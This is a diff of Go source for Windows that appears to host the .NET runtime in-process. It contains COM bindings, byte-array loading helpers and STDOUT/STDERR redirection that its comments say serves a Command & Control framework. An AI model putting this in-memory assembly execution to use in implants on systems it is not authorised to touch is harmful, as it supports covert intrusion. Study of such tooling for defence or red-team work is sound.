var mutex = &sync.Mutex{}
|
||||
|
||||
// RedirectStdoutStderr redirects the program's STDOUT/STDERR to an *os.File that can be read from this Go program
|
||||
// The CLR executes assemblies outside of Go and therefore STDOUT/STDERR can't be captured using normal functions
|
||||
// Intended to be used with a Command & Control framework so STDOUT/STDERR can be captured and returned
|
||||
func RedirectStdoutStderr() (err error) {
|
||||
// Create a new reader and writer for STDOUT
|
||||
rSTDOUT, wSTDOUT, err = os.Pipe()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDOUT:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Createa new reader and writer for STDERR
|
||||
rSTDERR, wSTDERR, err = os.Pipe()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDERR:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Set STDOUT/STDERR to the new files from os.Pipe()
|
||||
// https://docs.microsoft.com/en-us/windows/console/setstdhandle
|
||||
if err = windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, windows.Handle(wSTDOUT.Fd())); err != nil {
|
||||
err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDOUT:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if err = windows.SetStdHandle(windows.STD_ERROR_HANDLE, windows.Handle(wSTDERR.Fd())); err != nil {
|
||||
err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDERR:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Start STDOUT/STDERR buffer and collection
|
||||
go BufferStdout()
|
||||
go BufferStderr()
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// RestoreStdoutStderr returns the program's original STDOUT/STDERR handles before they were redirected an *os.File
|
||||
// Previously instantiated CLRs will continue to use the REDIRECTED STDOUT/STDERR handles and will not resume
|
||||
// using the restored handles
|
||||
func RestoreStdoutStderr() error {
|
||||
if err := windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, origSTDOUT); err != nil {
|
||||
return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDOUT handle:\n%s", err)
|
||||
}
|
||||
if err := windows.SetStdHandle(windows.STD_ERROR_HANDLE, origSTDERR); err != nil {
|
||||
return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDERR handle:\n%s", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ReadStdoutStderr reads from the REDIRECTED STDOUT/STDERR
|
||||
// Only use when RedirectStdoutStderr was previously called
|
||||
func ReadStdoutStderr() (stdout string, stderr string, err error) {
|
||||
debugPrint("Entering into io.ReadStdoutStderr()...")
|
||||
|
||||
// Sleep for one Microsecond to wait for STDOUT/STDERR goroutines to finish reading
|
||||
// Race condition between reading the buffers and reading STDOUT/STDERR to the buffers
|
||||
// Can't close STDOUT/STDERR writers once the CLR invokes on assembly and EOF is not
|
||||
// returned because parent program is perpetually running
|
||||
time.Sleep(1 * time.Microsecond)
|
||||
|
||||
// Check the error channel to see if any of the goroutines generated an error
|
||||
if len(errors) > 0 {
|
||||
var totalErrors string
|
||||
for e := range errors {
|
||||
totalErrors += e.Error()
|
||||
}
|
||||
err = fmt.Errorf(totalErrors)
|
||||
return
|
||||
}
|
||||
|
||||
// Read STDOUT Buffer
|
||||
if Stdout.Len() > 0 {
|
||||
stdout = Stdout.String()
|
||||
Stdout.Reset()
|
||||
}
|
||||
|
||||
// Read STDERR Buffer
|
||||
if Stderr.Len() > 0 {
|
||||
stderr = Stderr.String()
|
||||
Stderr.Reset()
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// CloseSTdoutStderr closes the Reader/Writer for the prviously redirected STDOUT/STDERR
|
||||
// that was changed to an *os.File
|
||||
func CloseStdoutStderr() (err error) {
|
||||
err = rSTDOUT.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDOUT Reader:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = wSTDOUT.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDOUT Writer:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = rSTDERR.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDERR Reader:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = wSTDERR.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDERR Writer:\n%s", err)
|
||||
return
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// BufferStdout is designed to be used as a go routine to monitor for data written to the REDIRECTED STDOUT
|
||||
// and collect it into a buffer so that it can be collected and sent back to a server
|
||||
func BufferStdout() {
|
||||
debugPrint("Entering into io.BufferStdout()...")
|
||||
stdoutReader := bufio.NewReader(rSTDOUT)
|
||||
for {
|
||||
// Standard STDOUT buffer size is 4k
|
||||
buf := make([]byte, 4096)
|
||||
line, err := stdoutReader.Read(buf)
|
||||
if err != nil {
|
||||
errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err)
|
||||
}
|
||||
if line > 0 {
|
||||
// Remove null bytes and add contents to the buffer
|
||||
Stdout.Write(bytes.TrimRight(buf, "\x00"))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// BufferStderr is designed to be used as a go routine to monitor for data written to the REDIRECTED STDERR
|
||||
// and collect it into a buffer so that it can be collected and sent back to a server
|
||||
func BufferStderr() {
|
||||
debugPrint("Entering into io.BufferStderr()...")
|
||||
stderrReader := bufio.NewReader(rSTDERR)
|
||||
for {
|
||||
// Standard STDOUT buffer size is 4k
|
||||
buf := make([]byte, 4096)
|
||||
line, err := stderrReader.Read(buf)
|
||||
if err != nil {
|
||||
errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err)
|
||||
}
|
||||
if line > 0 {
|
||||
// Remove null bytes and add contents to the buffer
|
||||
Stderr.Write(bytes.TrimRight(buf, "\x00"))
|
||||
}
|
||||
}
|
||||
}
|
||||
+123
@@ -0,0 +1,123 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// ISupportErrorInfo Ensures that error information can be propagated up the call chain correctly.
|
||||
// Automation objects that use the error handling interfaces must implement ISupportErrorInfo
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo
|
||||
type ISupportErrorInfo struct {
|
||||
vtbl *ISupportErrorInfoVtbl
|
||||
}
|
||||
|
||||
type ISupportErrorInfoVtbl struct {
|
||||
// QueryInterface Retrieves pointers to the supported interfaces on an object.
|
||||
QueryInterface uintptr
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer.
|
||||
AddRef uintptr
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
Release uintptr
|
||||
// InterfaceSupportsErrorInfo Indicates whether an interface supports the IErrorInfo interface.
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo
|
||||
InterfaceSupportsErrorInfo uintptr
|
||||
}
|
||||
|
||||
// QueryInterface queries a COM object for a pointer to one of its interface;
|
||||
// identifying the interface by a reference to its interface identifier (IID).
|
||||
// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it.
|
||||
// HRESULT QueryInterface(
|
||||
// REFIID riid,
|
||||
// void **ppvObject
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void)
|
||||
func (obj *ISupportErrorInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into iunknown.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer
|
||||
// ULONG AddRef();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref
|
||||
func (obj *ISupportErrorInfo) AddRef() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.AddRef()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
// ULONG Release();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release
|
||||
func (obj *ISupportErrorInfo) Release() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.Release()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// InterfaceSupportsErrorInfo
|
||||
// HRESULT InterfaceSupportsErrorInfo(
|
||||
// REFIID riid
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo
|
||||
func (obj *ISupportErrorInfo) InterfaceSupportsErrorInfo(riid windows.GUID) error {
|
||||
debugPrint("Entering into isupporterrorinfo.InterfaceSupportsErrorInfo()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.InterfaceSupportsErrorInfo,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+99
@@ -0,0 +1,99 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type IUnknown struct {
|
||||
vtbl *IUnknownVtbl
|
||||
}
|
||||
|
||||
// IUnknownVtbl Enables clients to get pointers to other interfaces on a given object through the
|
||||
// QueryInterface method, and manage the existence of the object through the AddRef and Release methods.
|
||||
// All other COM interfaces are inherited, directly or indirectly, from IUnknown. Therefore, the three
|
||||
// methods in IUnknown are the first entries in the vtable for every interface.
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iunknown
|
||||
type IUnknownVtbl struct {
|
||||
// QueryInterface Retrieves pointers to the supported interfaces on an object.
|
||||
QueryInterface uintptr
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer.
|
||||
AddRef uintptr
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
Release uintptr
|
||||
}
|
||||
|
||||
// QueryInterface queries a COM object for a pointer to one of its interface;
|
||||
// identifying the interface by a reference to its interface identifier (IID).
|
||||
// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it.
|
||||
// HRESULT QueryInterface(
|
||||
// REFIID riid,
|
||||
// void **ppvObject
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void)
|
||||
func (obj *IUnknown) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into iunknown.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer
|
||||
// ULONG AddRef();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref
|
||||
func (obj *IUnknown) AddRef() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.AddRef()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
// ULONG Release();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release
|
||||
func (obj *IUnknown) Release() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.Release()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
+207
@@ -0,0 +1,207 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// from mscorlib.tlh
|
||||
|
||||
type MethodInfo struct {
|
||||
vtbl *MethodInfoVtbl
|
||||
}
|
||||
|
||||
// MethodInfoVtbl Discovers the attributes of a method and provides access to method metadata.
|
||||
// Inheritance: Object -> MemberInfo -> MethodBase -> MethodInfo
|
||||
// MethodInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=net-5.0
|
||||
// MethodBase Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase?view=net-5.0
|
||||
// MemberInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.memberinfo?view=net-5.0
|
||||
// Object Class: https://docs.microsoft.com/en-us/dotnet/api/system.object?view=net-5.0
|
||||
type MethodInfoVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
GetTypeInfoCount uintptr
|
||||
GetTypeInfo uintptr
|
||||
GetIDsOfNames uintptr
|
||||
Invoke uintptr
|
||||
get_ToString uintptr
|
||||
Equals uintptr
|
||||
GetHashCode uintptr
|
||||
GetType uintptr
|
||||
get_MemberType uintptr
|
||||
get_name uintptr
|
||||
get_DeclaringType uintptr
|
||||
get_ReflectedType uintptr
|
||||
GetCustomAttributes uintptr
|
||||
GetCustomAttributes_2 uintptr
|
||||
IsDefined uintptr
|
||||
GetParameters uintptr
|
||||
GetMethodImplementationFlags uintptr
|
||||
get_MethodHandle uintptr
|
||||
get_Attributes uintptr
|
||||
get_CallingConvention uintptr
|
||||
Invoke_2 uintptr
|
||||
get_IsPublic uintptr
|
||||
get_IsPrivate uintptr
|
||||
get_IsFamily uintptr
|
||||
get_IsAssembly uintptr
|
||||
get_IsFamilyAndAssembly uintptr
|
||||
get_IsFamilyOrAssembly uintptr
|
||||
get_IsStatic uintptr
|
||||
get_IsFinal uintptr
|
||||
get_IsVirtual uintptr
|
||||
get_IsHideBySig uintptr
|
||||
get_IsAbstract uintptr
|
||||
get_IsSpecialName uintptr
|
||||
get_IsConstructor uintptr
|
||||
Invoke_3 uintptr
|
||||
get_returnType uintptr
|
||||
get_ReturnTypeCustomAttributes uintptr
|
||||
GetBaseDefinition uintptr
|
||||
}
|
||||
|
||||
func (obj *MethodInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into methodinfo.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (obj *MethodInfo) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *MethodInfo) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Invoke_3 Invokes the method or constructor reflected by this MethodInfo instance.
|
||||
// virtual HRESULT __stdcall Invoke_3 (
|
||||
// /*[in]*/ VARIANT obj,
|
||||
// /*[in]*/ SAFEARRAY * parameters,
|
||||
// /*[out,retval]*/ VARIANT * pRetVal ) = 0;
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase.invoke?view=net-5.0
|
||||
func (obj *MethodInfo) Invoke_3(variantObj Variant, parameters *SafeArray) (err error) {
|
||||
debugPrint("Entering into methodinfo.Invoke_3()...")
|
||||
var pRetVal *Variant
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.Invoke_3,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&variantObj)),
|
||||
uintptr(unsafe.Pointer(parameters)),
|
||||
uintptr(unsafe.Pointer(pRetVal)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the MethodInfo::Invoke_3 method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// If the HRESULT is a TargetInvocationException, attempt to get the inner error
|
||||
// This currentl doesn't work
|
||||
if uint32(hr) == COR_E_TARGETINVOCATION {
|
||||
var iSupportErrorInfo *ISupportErrorInfo
|
||||
// See if MethodInfo supports the ISupportErrorInfo interface
|
||||
err = obj.QueryInterface(IID_ISupportErrorInfo, unsafe.Pointer(&iSupportErrorInfo))
|
||||
if err != nil {
|
||||
err = fmt.Errorf("the MethodInfo::QueryInterface method returned an error when looking for the ISupportErrorInfo interface:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// See if the ICorRuntimeHost interface supports the IErrorInfo interface
|
||||
// Not sure if there is an Interface ID for MethodInfo
|
||||
err = iSupportErrorInfo.InterfaceSupportsErrorInfo(IID_ICorRuntimeHost)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error with the ISupportErrorInfo::InterfaceSupportsErrorInfo method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Get the IErrorInfo object
|
||||
iErrorInfo, errG := GetErrorInfo()
|
||||
if errG != nil {
|
||||
err = fmt.Errorf("there was an error getting the IErrorInfo object:\r\n%s", errG)
|
||||
return err
|
||||
}
|
||||
|
||||
// Read the IErrorInfo description
|
||||
desc, errD := iErrorInfo.GetDescription()
|
||||
if errD != nil {
|
||||
err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", errD)
|
||||
return err
|
||||
}
|
||||
if desc == nil {
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x with an IErrorInfo description of: %s", hr, *desc)
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
|
||||
if pRetVal != nil {
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero pRetVal: %+v", pRetVal)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetString returns a string that represents the current object
|
||||
// a string version of the method's signature
|
||||
// public virtual string ToString ();
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.object.tostring?view=net-5.0#System_Object_ToString
|
||||
func (obj *MethodInfo) GetString() (str string, err error) {
|
||||
debugPrint("Entering into methodinfo.GetString()...")
|
||||
var object *string
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.get_ToString,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&object)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the MethodInfo::ToString method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the Assembly::ToString method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
str = ReadUnicodeStr(unsafe.Pointer(object))
|
||||
return
|
||||
}
|
||||
+340
@@ -0,0 +1,340 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// SafeArray represents a safe array
|
||||
// defined in OAIdl.h
|
||||
// typedef struct tagSAFEARRAY {
|
||||
// USHORT cDims;
|
||||
// USHORT fFeatures;
|
||||
// ULONG cbElements;
|
||||
// ULONG cLocks;
|
||||
// PVOID pvData;
|
||||
// SAFEARRAYBOUND rgsabound[1];
|
||||
// } SAFEARRAY;
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearray
|
||||
// https://docs.microsoft.com/en-us/archive/msdn-magazine/2017/march/introducing-the-safearray-data-structure
|
||||
type SafeArray struct {
|
||||
// cDims is the number of dimensions
|
||||
cDims uint16
|
||||
// fFeatures is the feature flags
|
||||
fFeatures uint16
|
||||
// cbElements is the size of an array element
|
||||
cbElements uint32
|
||||
// cLocks is the number of times the array has been locked without a corresponding unlock
|
||||
cLocks uint32
|
||||
// pvData is the data
|
||||
pvData uintptr
|
||||
// rgsabout is one bound for each dimension
|
||||
rgsabound [1]SafeArrayBound
|
||||
}
|
||||
|
||||
// SafeArrayBound represents the bounds of one dimension of the array
|
||||
// typedef struct tagSAFEARRAYBOUND {
|
||||
// ULONG cElements;
|
||||
// LONG lLbound;
|
||||
// } SAFEARRAYBOUND, *LPSAFEARRAYBOUND;
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearraybound
|
||||
type SafeArrayBound struct {
|
||||
// cElements is the number of elements in the dimension
|
||||
cElements uint32
|
||||
// lLbound is the lowerbound of the dimension
|
||||
lLbound int32
|
||||
}
|
||||
|
||||
// CreateSafeArray is a wrapper function that takes in a Go byte array and creates a SafeArray containing unsigned bytes
|
||||
// by making two syscalls and copying raw memory into the correct spot.
|
||||
func CreateSafeArray(rawBytes []byte) (*SafeArray, error) {
|
||||
debugPrint("Entering into safearray.CreateSafeArray()...")
|
||||
|
||||
safeArrayBounds := SafeArrayBound{
|
||||
cElements: uint32(len(rawBytes)),
|
||||
lLbound: int32(0),
|
||||
}
|
||||
|
||||
safeArray, err := SafeArrayCreate(VT_UI1, 1, &safeArrayBounds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// now we need to use RtlCopyMemory to copy our bytes to the SafeArray
|
||||
modNtDll := syscall.MustLoadDLL("ntdll.dll")
|
||||
procRtlCopyMemory := modNtDll.MustFindProc("RtlCopyMemory")
|
||||
|
||||
// TODO Replace RtlCopyMemory with SafeArrayPutElement or SafeArrayAccessData
|
||||
|
||||
// void RtlCopyMemory(
|
||||
// void* Destination,
|
||||
// const void* Source,
|
||||
// size_t Length
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlcopymemory
|
||||
_, _, err = procRtlCopyMemory.Call(
|
||||
safeArray.pvData,
|
||||
uintptr(unsafe.Pointer(&rawBytes[0])),
|
||||
uintptr(len(rawBytes)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return safeArray, nil
|
||||
}
|
||||
|
||||
// SafeArrayCreate creates a new array descriptor, allocates and initializes the data for the array, and returns a pointer to the new array descriptor.
|
||||
// SAFEARRAY * SafeArrayCreate(
|
||||
// VARTYPE vt,
|
||||
// UINT cDims,
|
||||
// SAFEARRAYBOUND *rgsabound
|
||||
// );
|
||||
// Varient types: https://docs.microsoft.com/en-us/windows/win32/api/wtypes/ne-wtypes-varenum
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraycreate
|
||||
func SafeArrayCreate(vt uint16, cDims uint32, rgsabound *SafeArrayBound) (safeArray *SafeArray, err error) {
|
||||
debugPrint("Entering into safearray.SafeArrayCreate()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
procSafeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate")
|
||||
|
||||
ret, _, err := procSafeArrayCreate.Call(
|
||||
uintptr(vt),
|
||||
uintptr(cDims),
|
||||
uintptr(unsafe.Pointer(rgsabound)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
|
||||
if ret == 0 {
|
||||
err = fmt.Errorf("the OleAut32!SafeArrayCreate function return 0x%x and the SafeArray was not created", ret)
|
||||
return
|
||||
}
|
||||
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
safeArray = (*SafeArray)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// SysAllocString converts a Go string to a BTSR string, that is a unicode string prefixed with its length.
|
||||
// Allocates a new string and copies the passed string into it.
|
||||
// It returns a pointer to the string's content.
|
||||
// BSTR SysAllocString(
|
||||
// const OLECHAR *psz
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-sysallocstring
|
||||
func SysAllocString(str string) (unsafe.Pointer, error) {
|
||||
debugPrint("Entering into safearray.SysAllocString()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
sysAllocString := modOleAuto.MustFindProc("SysAllocString")
|
||||
|
||||
input := utf16Le(str)
|
||||
ret, _, err := sysAllocString.Call(
|
||||
uintptr(unsafe.Pointer(&input[0])),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return nil, err
|
||||
}
|
||||
// TODO Return a pointer to a BSTR instead of an unsafe.Pointer
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
return unsafe.Pointer(ret), nil
|
||||
}
|
||||
|
||||
// SafeArrayPutElement pushes an element to the safe array at a given index
|
||||
// HRESULT SafeArrayPutElement(
|
||||
// SAFEARRAY *psa,
|
||||
// LONG *rgIndices,
|
||||
